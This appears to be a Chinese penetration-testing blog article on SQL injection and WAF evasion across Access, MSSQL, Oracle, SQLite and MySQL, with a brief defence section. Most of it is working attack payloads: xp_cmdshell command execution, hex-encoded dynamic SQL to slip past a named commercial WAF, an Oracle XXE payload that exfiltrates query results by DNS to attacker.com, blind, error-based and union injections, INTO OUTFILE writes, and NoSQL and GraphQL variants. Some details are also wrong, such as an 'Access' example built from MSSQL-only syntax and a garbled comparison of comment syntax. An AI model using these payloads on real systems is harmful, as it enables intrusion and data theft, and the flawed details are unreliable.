1. 数据库SQL注入攻防全景解析
当我们在做渗透测试时,SQL注入永远是最常见也最危险的漏洞之一。不同数据库的注入方式和防护策略差异很大,今天我就结合自己多年实战经验,详细剖析Access、MSSQL、Oracle、SQLite和MySQL这五大数据库的注入技巧及WAF绕过方法。
重要提示:本文所有技术细节仅用于安全研究和授权测试,未经授权的测试行为可能违反法律法规。
1.1 为什么不同数据库的注入方式不同
每种数据库管理系统都有自己独特的语法特性、函数库和系统表结构。比如MySQL的注释符是--(注意末尾空格)或#,而Oracle则需要用--。这些细微差别直接影响了我们的注入Payload构造。
我在实际测试中发现,很多初级安全工程师习惯用MySQL的Payload去测试Oracle数据库,结果当然是徒劳无功。理解这些差异是成为专业安全人员的第一步。
2. Access数据库注入实战
2.1 Access注入基础特征
作为经典的桌面数据库,Access虽然已经逐渐退出主流,但在一些老旧系统中仍然常见。它的几个关键特点:
- 没有真正的注释符,必须使用
'闭合语句 - 系统表是
msysobjects(但默认不可读) - 常用猜测表名技术:
' and exists(select * from 猜测的表名) and '1'='1 - 盲注主要依赖
mid()、asc()等函数
2.2 高级绕过技巧
当遇到简单过滤时,这些方法很有效:
- 大小写混合:
SeLeCt代替select - 空字节绕过:
%00select - 特殊连接符:
SeLeCt可以写成S%0bELECT
我曾在某政府系统中发现一个经典案例:
admin' and 1=convert(int,(select top 1 table_name from information_schema.tables))--这个Payload成功的原因是利用了Access对类型转换的宽松处理。
3. MSSQL注入深度剖析
3.1 MSSQL特有技术点
作为企业级数据库,MSSQL提供了更多危险功能:
- 多语句执行:
'; exec xp_cmdshell 'whoami'-- - 延时注入:
'; if (system_user='sa') waitfor delay '0:0:5'-- - 报错注入:
' and 1=convert(int,@@version)--
3.2 WAF绕过实战记录
去年在某金融系统渗透中,我遇到了奇安信的WAF,最终通过以下方式绕过:
原始Payload:
SELECT * FROM users WHERE id=1 AND 1=CONVERT(int,@@version)绕过方案:
DECLARE @s VARCHAR(4000);SET @s=0x73656C656374202A2066726F6D2075736572732077686572652069643D3120414E4420313D434F4E5645525428696E742C404076657273696F6E);EXEC(@s)这里使用了十六进制编码加动态执行,完全避开了关键词检测。
4. Oracle注入的艺术
4.1 Oracle特有技术
Oracle的注入有其独特之处:
- 必须使用FROM子句:
SELECT 1 FROM dual - 权限体系复杂:需要关注
DBA_TABLES等数据字典 - 报错注入典范:
AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))
4.2 实战绕过案例
某次遇到Web应用防火墙过滤了SELECT关键字,我使用了Oracle的XML函数绕过:
' AND 1=extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT user FROM dual)||'.attacker.com/"> %remote;]>'),'/l') FROM dual--这个技巧将查询结果通过DNS外带,完全避开了直接的关键词匹配。
5. SQLite轻量级注入
5.1 SQLite注入特点
虽然SQLite轻量,但注入同样危险:
- 系统表是
sqlite_master - 盲注常用
randomblob()制造延时:' AND (SELECT CASE WHEN (SELECT length(sql) FROM sqlite_master LIMIT 1)>10 THEN randomblob(1000000000) ELSE 0 END)--
5.2 移动端注入案例
在测试某Android应用时,发现其使用SQLite存储凭证。通过以下方式获取数据:
content://com.example.app.provider/users/%27UNION+SELECT+username,password+FROM+users--这种Content Provider注入在移动应用中相当常见。
6. MySQL注入大全
6.1 MySQL经典技术
作为最流行的数据库,MySQL注入技术也最成熟:
- 注释方式:
--、#、/**/ - 报错注入:
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- - 盲注:
' AND IF(ASCII(SUBSTRING((SELECT user()),1,1))=114,sleep(3),0)--
6.2 WAF绕过宝典
针对各种WAF,这些方法很有效:
- 空白符变异:
SELECT/*!50000username*/FROM/*!50000users*/ - 内联注释:
/*!UNION*/ /*!SELECT*/ 1,2,3 - 字符编码:
SELECT CHAR(117,115,101,114) FROM users
7. 通用WAF绕过策略
7.1 常见WAF检测点
现代WAF通常会检测:
- 关键词:
union、select、from等 - 特殊字符:单引号、等号、注释符
- 语句结构:异常的SQL语法
7.2 高级绕过技术
等价替换:
||代替OR&&代替AND
非常规函数:
SELECT x FROM y WHERE id=1 INTO OUTFILE '/tmp/test'HTTP参数污染:
?id=1&id=2' UNION SELECT 1,2,3--JSON注入:
{"id":"1' UNION SELECT 1,2,3-- "}
8. 防御措施建议
8.1 开发层面
- 使用参数化查询(PreparedStatement)
- 最小权限原则
- 输入验证白名单
8.2 运维层面
- WAF规则定期更新
- 数据库错误信息屏蔽
- 敏感表名重命名
我在实际审计中发现,90%的SQL注入漏洞都是由于开发直接拼接SQL语句导致的。一个简单的修复示例:
Java错误示范:
String sql = "SELECT * FROM users WHERE id = " + userId;正确做法:
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); stmt.setInt(1, userId);9. 实战经验分享
9.1 信息收集技巧
在开始注入前,确定数据库类型很关键:
报错信息:
- MySQL:"You have an error in your SQL syntax"
- Oracle:"ORA-xxxxx"
特殊函数测试:
' AND @@version=1-- # MySQL ' AND SELECT 1 FROM dual-- # Oracle
9.2 工具使用心得
虽然sqlmap很强大,但在严格WAF环境下,手动测试往往更有效。我的常用测试流程:
- 先用简单Payload探测过滤规则
- 分析拦截的请求特征
- 逐步调整Payload复杂度
- 必要时结合编码转换
记住,自动化工具产生的流量模式容易被识别,手工构造的请求往往能绕过检测。
10. 新型注入技术前瞻
随着技术发展,这些新型注入方式值得关注:
NoSQL注入:
username[$ne]=1&password[$ne]=1GraphQL注入:
{user(id:"1' UNION SELECT 1,2,3-- "){name}}ORM注入:
User.query.filter(f"username = '{username}'")
在最近的一次测试中,我发现某系统虽然对传统SQL注入防护很好,但却忽略了NoSQL注入漏洞,最终通过$where子句实现了代码执行。